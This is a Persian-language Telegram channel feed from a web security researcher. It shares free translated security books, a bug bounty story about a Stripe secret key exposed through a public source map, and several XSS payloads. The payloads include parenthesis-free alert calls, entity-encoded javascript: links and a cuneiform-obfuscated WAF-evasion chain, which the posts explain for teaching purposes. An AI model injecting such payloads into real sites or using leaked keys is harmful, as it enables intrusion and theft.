🕸 Articles – Telegram
🕸 Articles
2.23K subscribers
43 photos
3 videos
18 files
12 links
Web Security Researcher, Bug Hunter
369
Download Telegram
به زودی هم کتاب bug bounty bootcamp آماده میشه
48👍2🍾2
23👍3👏2
BugBountyBootcamp_Persian.pdf
14 MB
Author: zarvan
Language: Persian
Telegram channel: @web_articles
🔥5410👏4🥰2
چند وقت پیش با حمید کشفی یه صحبت داشتم یه توصیه‌ای که داشت رو با شما به اشتراک میزارمش :


بهترین دوره، خوندن کتاب و مقاله های بروز هست و عادت کردن به اینکه خودت
دنبال یادگیری مطالب بصورت مستقل باشی.


حمید یه رودمپ جامع هم برای یادگیری بخش های مختلف امنیت داره که توی این لینک میتونید ببینیدش.
👍228🤮8👏3👎1
الهی به امید تو
114😍5💯1
This media is not supported in your browser
VIEW IN TELEGRAM
internal screaming it’s gonna be ok i think, just trying to ride the wave.
13👍1😢1
این ویدیو سال ۲۰۱۵ ضبط شده، عنوان ویدیو چگونه هکر شویم هست.
پیشنهاد میکنم حتما ببینیدش، جمله طلایی ویدیو به نظرم این هست:

هکر بودن یعنی خودآموز بودن
18
درود به همگی کتاب تموم شد خداروشکر
- برای فهم بیشتر یه سری بخش ها و توضیحات بیشتری به متن اصلی اضافه شده
- اضاف شدن بیش از ۷۰ مثال
- اضافه شدن تفکر خارج از چارچوب
- اضافه شدن مثال های واقعی برای درک بهتر هر بخش
یه سری ایده ها توی کتاب هست که باید به مرحله ی اجرایی برسه توسط خودتون. نویسنده کتاب یه سری بخش هارو فقط تئوری توضیح داده.
40❤‍🔥3🔥2
Web Application Security-Persian.pdf
9.7 MB
Author: zarvan
Language: Persian
Telegram channel: @web_articles
100🔥8🕊1🍾1
این کتاب کاملاً رایگان هست و هیچ قیمتی براش نذاشتم. اما اگه دوست داشتید از من حمایت کنید، می‌تونید از این لینک استفاده کنید:

https://daramet.com/web_articles


همچنین می‌تونید با به اشتراک گذاشتن کتاب، کمک کنید که بیشتر دیده بشه.
53👏52🔥1🕊1🆒1
به نظرتون نقش جاوا اسکریپت برای کسی که با امنیت وب اپلیکیشن‌ها سروکار داره چیه؟
Anonymous Poll
78%
از نون شب واجب تره
3%
کیکه
5%
جاوا اسکریپت کوچیک شده جاوا هست
13%
من یه پرندم آرزو دارم
1
بیایید اول از همه یه نگاه به فایل های js بندازیم ببینم این فایل ها برای هانترا و پنتسترا چی دارن و چطوری یه هانتر تونسته ۲۵ هزار دلار 💵 از یه فایل js بدست بیاره.

اگه یه نگاه به این رایتاپ بندازیم (اینجا می‌تونید بخونیدش)، متوجه می‌شیم با یه معدن طلا طرفیم.

یه محقق امنیتی به اسم Matthew داشته روی یه شرکت هانت میکرده. رفته سراغ فایل‌های JS و دیده که فایل‌های جاوااسکریپتشون minified شدن. حالا minified یعنی چی؟ یعنی کد رو فشرده کردن کامنت‌ها رو حذف کردن، اسم متغیرها رو کوتاه کردن و کلاً خوندن این کدها یه کم سخت‌تره.

یه چیز دیگه توی جاوااسکریپت داریم به اسم Source Map. این چیه؟ سورس مپ یه فایل جداگونه‌ست که مثل یه نقشه راهنما عمل می‌کنه و به مرورگر می‌گه هر خط از کد فشرده‌شده (minified) تو کد اصلی کجا بوده. این برای دیباگ کردن خیلی به درد می‌خوره، چون برنامه‌نویس می‌تونه راحت‌تر باگ‌ها رو پیدا کنه.

اما مشکل کجاست؟ اگه برنامه‌نویس حواسش نباشه و توی کد اصلی اطلاعاتی مثل کلیدهای API، رمز عبور یا اطلاعات حساس دیگه بذاره، این سورس مپ می‌تونه همه اینا رو لو بده یعنی هرکی به سورس مپ دسترسی پیدا کنه، می‌تونه این اطلاعات محرمانه رو ببینه. حالا بعضی وقتا این فایل‌های سورس مپ توی وب عمومی در دسترسن و می‌شه پیداشون کرد، ولی گاهی هم برنامه‌نویس‌ها این فایل‌ها رو از دسترس عمومی برمی‌دارن.

یه ابزار به اسم SourceMapper داریم که می‌تونه فایل‌های minified رو به فرمت قابل خوندن تبدیل کنه. این محقق اومده با این دستور:


doi@asov:~$ ./sourcemapper -output dhubsrc -url https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map


فایل جاوااسکریپت رو به فرمت قابل خوندن درآورده. بعدش شروع کرده به گشتن توی سورس و تونسته این اطلاعات حساس رو پیدا کنه:

export const S0 = 'pk_live_[REDACTED]es33';
export const S1 = 'sk_live_[REDACTED]du8d';
export const STRIPE_HEADER_NAME = 'REDACTED';
export const CURRENCY = 'USD';
export const STRIPE_PAY_BUTTON = 'Pay for REDACTED';

خب حالا Stripe چیه؟ Stripe یه سرویس پرداخت آنلاینه که API خیلی ساده و قدرتمندی داره. با این API می‌شه موجودی حساب رو چک کرد، پرداخت انجام داد یا حتی پول رو به حساب دیگه‌ای منتقل کرد.

این محقق با استفاده از کلید API که پیدا کرده، این دستور رو اجرا کرده تا موجودی حساب رو چک کنه:

❯ curl https://api.stripe.com/v1/balance -u sk_live_REDACTEDdu8d
{"object": "balance",
"available": [ {
"amount": 1761520.76,
"currency": "usd",
"source_types": {
"card": 0 } } ]
}

و در نهایت با گزارش این باگ و کلید API لو رفته، تونسته ۲۵ هزار دلار جایزه بگیره
40🔥8👍2
جاوا اسکریپت واقعا دنیایه بزرگی داره، کافیه تصمیم بگیری که تابع alert رو بدون پرانتز اجراش کنی میبینی کلی راه براش وجود داره.

مثلا:
alert`zarvan`


اینم یه نمونه جالب‌تر:

function replaceFn(str, regex, fn) { str.replace(regex, fn); } replaceFn("a", /./, alert)




حتی میتونیم ازFunction constructor استفاده کنیم:
Function`alert\x281337\x29`()


این هم چند تا نمونه دیگه:
setTimeout`alert\x281337\x29`


setInterval`alert\x281337\x29`



`${alert(1337)}`



Promise.reject(1337).catch(alert);


این ترفند ها فقط نوک کوه یخن 🗻
شما چه ترفند دیگه ای بلدین؟
29🔥6
بیاین چند تا پیلود XSS ببینیم. به نظرتون کدومشون کار می‌کنه و چرا؟

1- <a href="&#x6a;avanoscript:alert(1337)">Test1</a>
2- <a href="&#x6aavanoscript:alert(1337)">Test2</a>
3- <a href="&#000000000x6a;avanoscript:alert(1337)">Test3</a>
4- <a href="jav&#x61noscript:alert(1337)">Test4</a>
5- <a href="jav&NewLine;as&Tab;cript&colon;alert&lpar;1337&rpar;">Test5</a>


اینم یه نمونه جالب از ایونت onanimationend:

<style>@keyframes x {to {opacity:0}}</style>
<xss style="animation:x 1s" onanimationend=alert(6)>Test6</xss>


این پیلود‌ها فقط چند تا نمونه از پیلود‌های xss هست که هر کدوم از اینا میتونه توی یه سناریوی خاص مثل دور زدن فایروال‌ها به کار بیان.


پ.ن: دارم روی یه پروژه خفن کار می‌کنم که قراره اینجور ترفندهای جاوا اسکریپت رو برای هانترها و متخصصای امنیت از صفر تا صد ساده کنه. منتظر باشین! 🚀
30🔥4
This media is not supported in your browser
VIEW IN TELEGRAM
مثل مجید باشیم‌.
28🔥4👍2
این توییت یکی از دوستام فرستاده بود جالب بود گفتم با شما هم در میون بزارم.
به این پیلود نگاه کنید با حروف میخی نوشته شده و اگر توی کنسول مرورگرتون وارد کنید میبینید که پاپ‌آپ بالا میاد.

𒀱='',𒁍=!𒀱+𒀱,𒂖=!𒁍+𒀱,𒃵=𒀱+{},𒄿=𒁍[𒀱++],𒅗=𒁍[𒀲=𒀱],
𒆜=++𒀲+𒀱,𒇻=𒃵[𒀲+𒆜],
𒁍[𒇻+=𒃵[𒀱]+(𒁍.𒂖+𒃵)[𒀱]+𒂖[𒆜]+𒄿+𒅗+𒁍[𒀲]+𒇻+𒄿+𒃵[𒀱]+𒅗][𒇻](𒂖[𒀱]+𒂖[𒀲]+𒁍[𒆜]+𒅗+𒄿+"('𒀱𒀲𒀱𒋻𒆜𒀲𒁂𒐫𒉿𒀜𒅔')")()


توی این پیلود یه سری تکنیک استفاده شده که هر کدوم رو توضیح می‌دم
این تکنیک‌ها به صورت زنجیره‌ای کار می‌کنن: اول با Unicode Obfuscation کد پنهان می‌شه، بعد با Type Coercion رشته‌های پایه ساخته می‌شن، با String Manipulation حروف استخراج می‌شن، و در آخر با Dynamic Function Call کد اجرا می‌شه.




1. Unicode Obfuscation
این کد یه پیلود xss هست که با حروف خط میخی نوشته شده تا عجیب به نظر بیاد و از waf ها عبور کنه.
توی این پیلود از حروف میخی مثل 𒀱 به جای متغیر های معمولی مثل my_variable استفاده شده
جاوااسکریپت از استاندارد یونیکد پشتیبانی می‌کنه. هر کاراکتر یونیکد (مثل حروف خط میخی، ایموجی یا حروف چینی) می‌تونه به‌عنوان اسم متغیر یا تابع استفاده بشه، مثل:

let 𒀱 = "hello";
console.log(𒀱);


اگه پیلود رو با حروف انگلیسی جایگزین کنیم، به همچین چیزی می‌رسیم:

a='',b=!a+a,c=!b+a,d=a+{},e=b[a++],f=b[a1=a],
g=++a1+a,h=d[a1+g],
b[h+=d[a]+(b.c+d)[a]+c[g]+e+f+b[a1]+h+e+d[a]+f][h](c[a]+c[a1]+b[g]+f+e+"('a1a1a1a1a1a1a1a1a1a1')")()

اگر این عبارت هم توی کنسول وارد کنید میبینید که کار میکنه.

2. Type Coercion (تبدیل خودکار نوع داده)

وقتی جاوااسکریپت خودش نوع داده‌ها رو تغییر می‌ده (مثلاً عدد به رشته یا بولین به رشته) موقع عملیات‌هایی مثل جمع (+) یا نقیض (!) به این کار میگن تبدیل نوع داده

چرا باید ازش استفاده کنیم؟
ساخت رشته‌های بی‌خطر مثل "true", "false", "[object Object]" بدون نوشتن مستقیمشون. این رشته‌ها حروف لازم برای ساخت کلمات خطرناک (مثل "alert" یا "constructor") رو فراهم می‌کنن، بدون اینکه فایروال‌ها بفهمن کد داره چیکار می‌کنه.



3. String Manipulation

جدا کردن حروف از یه رشته با استفاده از اندیس (مثل str[0] برای حرف اول).
رشته‌ها تو جاوااسکریپت مثل آرایه‌های حروفن که می‌تونی حرف به حرف بکشی بیرون.

توی این مرحله میاییم و حروفی که نیاز داریم از عبارت هایی که توی مرحله قبلی ساختیم میسازیم.
کلمات خطرناک مثل "alert" یا "constructor" با جدا کردن حروف از رشته‌های بی‌خطر (مثل "true", "false", "[object Object]"). اینطوری فایروال‌ها نمی‌فهمن کد داره کلمه خطرناک می‌سازه.
با اندیس‌ها (مثل [0], [1]) به حروف رشته دسترسی پیدا می‌کنی.



4. Dynamic Function Call

صدا زدن یه تابع با استفاده از یه رشته (مثل "alert") به جای نوشتن مستقیم تابع (مثل alert()).
مثلاً می‌تونی به جای alert() بنویسی window["alert"]() یا "true"["constructor"]().

اجرای کد مخرب (مثل alert('XSS')) بدون نوشتن مستقیم تابع. اینطوری وف هایی که دنبال کلمات مثل alert یا eval می‌گردن، نمی‌تونن کد رو تشخیص بدن.
اسم تابع رو به صورت رشته بساز و با [] یا constructor صداش کن.
👌2211👍6🔥3👏31